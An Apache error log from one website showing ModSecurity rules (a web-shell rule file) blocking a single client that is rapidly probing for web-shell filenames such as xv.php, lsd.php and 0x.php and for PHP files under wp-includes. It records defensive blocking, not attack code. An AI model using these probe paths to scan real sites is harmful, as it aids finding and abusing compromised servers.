[Sun Dec 21 21:42:57.204404 2025] [:error] [pid 42755:tid 42757] [client 104.208.116.65:33351] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xv.php"] [unique_id "aUf5YeW0XvxgXMTJJbvaBwAAAUA"]
[Sun Dec 21 21:42:57.546431 2025] [:error] [pid 59068:tid 59119] [client 104.208.116.65:12234] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aUf5YRmLyLqWUlrjwyeccwAAAFI"]
[Sun Dec 21 21:42:57.847245 2025] [:error] [pid 59067:tid 59094] [client 104.208.116.65:12240] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aUf5YctpsOP1NfIK_qJvXgAAABQ"]
[Sun Dec 21 21:42:58.093690 2025] [:error] [pid 59070:tid 59151] [client 104.208.116.65:12237] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aUf5Yn3dhXne9KX1kgJXUAAAAJc"]
[Sun Dec 21 21:42:58.478820 2025] [:error] [pid 59068:tid 59120] [client 104.208.116.65:12266] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aUf5YhmLyLqWUlrjwyecdAAAAFM"]
[Sun Dec 21 21:42:58.715656 2025] [:error] [pid 59068:tid 59112] [client 104.208.116.65:12196] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aUf5YhmLyLqWUlrjwyecdgAAAEs"]
[Sun Dec 21 21:42:59.076243 2025] [:error] [pid 42755:tid 42766] [client 104.208.116.65:12225] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aUf5Y-W0XvxgXMTJJbvaCwAAAUk"]
[Sun Dec 21 21:42:59.326432 2025] [:error] [pid 59068:tid 59124] [client 104.208.116.65:12191] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aUf5YxmLyLqWUlrjwyeceAAAAFc"]
[Sun Dec 21 21:42:59.637288 2025] [:error] [pid 30183:tid 30205] [client 104.208.116.65:33348] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aUf5Y-CmP2zCzk_WZcUWMgAAARQ"]
[Sun Dec 21 21:42:59.960938 2025] [:error] [pid 59070:tid 59137] [client 104.208.116.65:12276] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aUf5Y33dhXne9KX1kgJXUwAAAIk"]
[Sun Dec 21 21:43:00.233004 2025] [:error] [pid 30183:tid 30196] [client 104.208.116.65:33395] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aUf5ZOCmP2zCzk_WZcUWNQAAAQs"]
[Sun Dec 21 21:43:00.471882 2025] [:error] [pid 42755:tid 42778] [client 104.208.116.65:12201] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aUf5ZOW0XvxgXMTJJbvaEAAAAVU"]
[Sun Dec 21 21:43:00.718834 2025] [:error] [pid 59158:tid 59167] [client 104.208.116.65:12162] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aUf5ZI7NvyNF8ab5VgVMvgAAAMc"]
[Sun Dec 21 21:43:00.960919 2025] [:error] [pid 30183:tid 30193] [client 104.208.116.65:12219] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aUf5ZOCmP2zCzk_WZcUWOAAAAQg"]
[Sun Dec 21 21:43:01.369867 2025] [:error] [pid 59068:tid 59117] [client 104.208.116.65:33402] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aUf5ZRmLyLqWUlrjwyeceQAAAFA"]
[Sun Dec 21 21:43:01.689327 2025] [:error] [pid 59070:tid 59138] [client 104.208.116.65:12254] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aUf5ZX3dhXne9KX1kgJXVAAAAIo"]
[Sun Dec 21 21:43:01.959211 2025] [:error] [pid 59070:tid 59129] [client 104.208.116.65:34539] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aUf5ZX3dhXne9KX1kgJXVgAAAIE"]
[Sun Dec 21 21:43:02.290769 2025] [:error] [pid 30183:tid 30199] [client 104.208.116.65:34513] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aUf5ZuCmP2zCzk_WZcUWPAAAAQ4"]
[Sun Dec 21 21:43:02.579819 2025] [:error] [pid 42755:tid 42768] [client 104.208.116.65:34558] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aUf5ZuW0XvxgXMTJJbvaFwAAAUs"]
[Sun Dec 21 21:43:03.003103 2025] [:error] [pid 59070:tid 59128] [client 104.208.116.65:12171] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aUf5Z33dhXne9KX1kgJXWAAAAIA"]
[Sun Dec 21 21:43:03.306407 2025] [:error] [pid 42755:tid 42770] [client 104.208.116.65:12257] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aUf5Z-W0XvxgXMTJJbvaGwAAAU0"]
[Sun Dec 21 21:43:03.600169 2025] [:error] [pid 42755:tid 42761] [client 104.208.116.65:33377] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aUf5Z-W0XvxgXMTJJbvaHwAAAUQ"]
[Sun Dec 21 21:43:04.059728 2025] [:error] [pid 59070:tid 59149] [client 104.208.116.65:12283] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aUf5aH3dhXne9KX1kgJXXQAAAJU"]
[Sun Dec 21 21:43:04.517771 2025] [:error] [pid 42755:tid 42779] [client 104.208.116.65:12198] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aUf5aOW0XvxgXMTJJbvaIgAAAVY"]
[Sun Dec 21 21:43:04.902590 2025] [:error] [pid 59070:tid 59146] [client 104.208.116.65:12179] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aUf5aH3dhXne9KX1kgJXYgAAAJI"]
[Sun Dec 21 21:43:05.245967 2025] [:error] [pid 59070:tid 59144] [client 104.208.116.65:33388] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aUf5aX3dhXne9KX1kgJXYwAAAJA"]
[Sun Dec 21 21:43:05.512934 2025] [:error] [pid 59070:tid 59139] [client 104.208.116.65:34528] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aUf5aX3dhXne9KX1kgJXZgAAAIs"]
[Sun Dec 21 21:43:05.763268 2025] [:error] [pid 59068:tid 59115] [client 104.208.116.65:12176] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aUf5aRmLyLqWUlrjwyecfwAAAE4"]
[Sun Dec 21 21:43:06.098971 2025] [:error] [pid 59067:tid 59085] [client 104.208.116.65:12233] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aUf5astpsOP1NfIK_qJvZAAAAAs"]
[Sun Dec 21 21:43:06.397663 2025] [:error] [pid 59070:tid 59128] [client 104.208.116.65:12222] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aUf5an3dhXne9KX1kgJXaQAAAIA"]
[Sun Dec 21 21:43:06.647440 2025] [:error] [pid 59068:tid 59114] [client 104.208.116.65:12286] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aUf5ahmLyLqWUlrjwyecgQAAAE0"]
[Sun Dec 21 21:43:06.926902 2025] [:error] [pid 59067:tid 59078] [client 104.208.116.65:12200] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aUf5astpsOP1NfIK_qJvZgAAAAQ"]
[Sun Dec 21 21:43:07.191540 2025] [:error] [pid 59067:tid 59095] [client 104.208.116.65:34520] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aUf5a8tpsOP1NfIK_qJvaAAAABU"]
[Sun Dec 21 21:43:07.493946 2025] [:error] [pid 59067:tid 59077] [client 104.208.116.65:33394] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aUf5a8tpsOP1NfIK_qJvawAAAAM"]
[Sun Dec 21 21:43:07.808468 2025] [:error] [pid 59158:tid 59163] [client 104.208.116.65:12279] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aUf5a47NvyNF8ab5VgVM1QAAAMM"]
[Sun Dec 21 21:43:08.081713 2025] [:error] [pid 59068:tid 59119] [client 104.208.116.65:12170] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aUf5bBmLyLqWUlrjwyechAAAAFI"]
[Sun Dec 21 21:43:08.391235 2025] [:error] [pid 59158:tid 59180] [client 104.208.116.65:12242] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aUf5bI7NvyNF8ab5VgVM2gAAANQ"]
[Sun Dec 21 21:43:08.800705 2025] [:error] [pid 59070:tid 59142] [client 104.208.116.65:33357] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUf5bH3dhXne9KX1kgJXcAAAAI4"]
[Sun Dec 21 21:43:09.121016 2025] [:error] [pid 59070:tid 59133] [client 104.208.116.65:12183] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUf5bX3dhXne9KX1kgJXcwAAAIU"]
[Sun Dec 21 21:43:09.500707 2025] [:error] [pid 42755:tid 42770] [client 104.208.116.65:12177] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUf5beW0XvxgXMTJJbvaJgAAAU0"]
[Sun Dec 21 21:43:09.800355 2025] [:error] [pid 59158:tid 59166] [client 104.208.116.65:34496] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aUf5bY7NvyNF8ab5VgVM3QAAAMY"]
[Sun Dec 21 21:43:10.119751 2025] [:error] [pid 30183:tid 30202] [client 104.208.116.65:33344] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aUf5buCmP2zCzk_WZcUWRAAAARE"]
[Sun Dec 21 21:43:10.390530 2025] [:error] [pid 59067:tid 59088] [client 104.208.116.65:12243] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aUf5bstpsOP1NfIK_qJvcAAAAA4"]
[Sun Dec 21 21:43:10.633836 2025] [:error] [pid 59158:tid 59162] [client 104.208.116.65:12195] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aUf5bo7NvyNF8ab5VgVM4gAAAMI"]
[Sun Dec 21 21:43:10.927902 2025] [:error] [pid 59068:tid 59107] [client 104.208.116.65:12175] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aUf5bhmLyLqWUlrjwyecigAAAEY"]
[Sun Dec 21 21:43:11.332323 2025] [:error] [pid 59067:tid 59074] [client 104.208.116.65:12210] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aUf5b8tpsOP1NfIK_qJvcQAAAAA"]
[Sun Dec 21 21:43:11.585165 2025] [:error] [pid 42755:tid 42760] [client 104.208.116.65:12111] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aUf5b-W0XvxgXMTJJbvaLQAAAUM"]
[Sun Dec 21 21:43:11.941882 2025] [:error] [pid 59067:tid 59098] [client 104.208.116.65:12218] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aUf5b8tpsOP1NfIK_qJvcgAAABg"]
[Sun Dec 21 21:43:12.567275 2025] [proxy_fcgi:error] [pid 59070:tid 59137] [client 104.208.116.65:12164] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:43:12.764763 2025] [proxy_fcgi:error] [pid 59070:tid 59130] [client 104.208.116.65:12164] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:43:12.913145 2025] [proxy_fcgi:error] [pid 59070:tid 59138] [client 104.208.116.65:12164] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:43:13.093936 2025] [proxy_fcgi:error] [pid 59070:tid 59135] [client 104.208.116.65:12164] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:43:13.251074 2025] [proxy_fcgi:error] [pid 59070:tid 59139] [client 104.208.116.65:12164] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:43:13.368191 2025] [:error] [pid 59070:tid 59128] [client 104.208.116.65:12164] [client 104.208.116.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aUf5cX3dhXne9KX1kgJXgwAAAIA"]
[Sun Dec 21 21:43:13.768201 2025] [proxy_fcgi:error] [pid 59068:tid 59104] [client 104.208.116.65:34512] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:43:13.889610 2025] [proxy_fcgi:error] [pid 59068:tid 59115] [client 104.208.116.65:34512] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:43:14.010177 2025] [proxy_fcgi:error] [pid 59068:tid 59108] [client 104.208.116.65:34512] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:43:14.129949 2025] [proxy_fcgi:error] [pid 59068:tid 59121] [client 104.208.116.65:34512] AH01071: Got error 'Primary script unknown'
[Sun Dec 21 21:43:14.260046 2025] [:error] [pid 59068:tid 59101] [client 104.208.116.65:34512] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aUf5chmLyLqWUlrjwyeckgAAAEA"]
[Sun Dec 21 21:43:14.531381 2025] [:error] [pid 59067:tid 59075] [client 104.208.116.65:12115] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aUf5cstpsOP1NfIK_qJvewAAAAE"]
[Sun Dec 21 21:43:14.886091 2025] [:error] [pid 42755:tid 42777] [client 104.208.116.65:12135] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aUf5cuW0XvxgXMTJJbvaPQAAAVQ"]
[Sun Dec 21 21:43:15.238738 2025] [:error] [pid 59068:tid 59125] [client 104.208.116.65:12163] [client 104.208.116.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aUf5cxmLyLqWUlrjwyeclAAAAFg"]
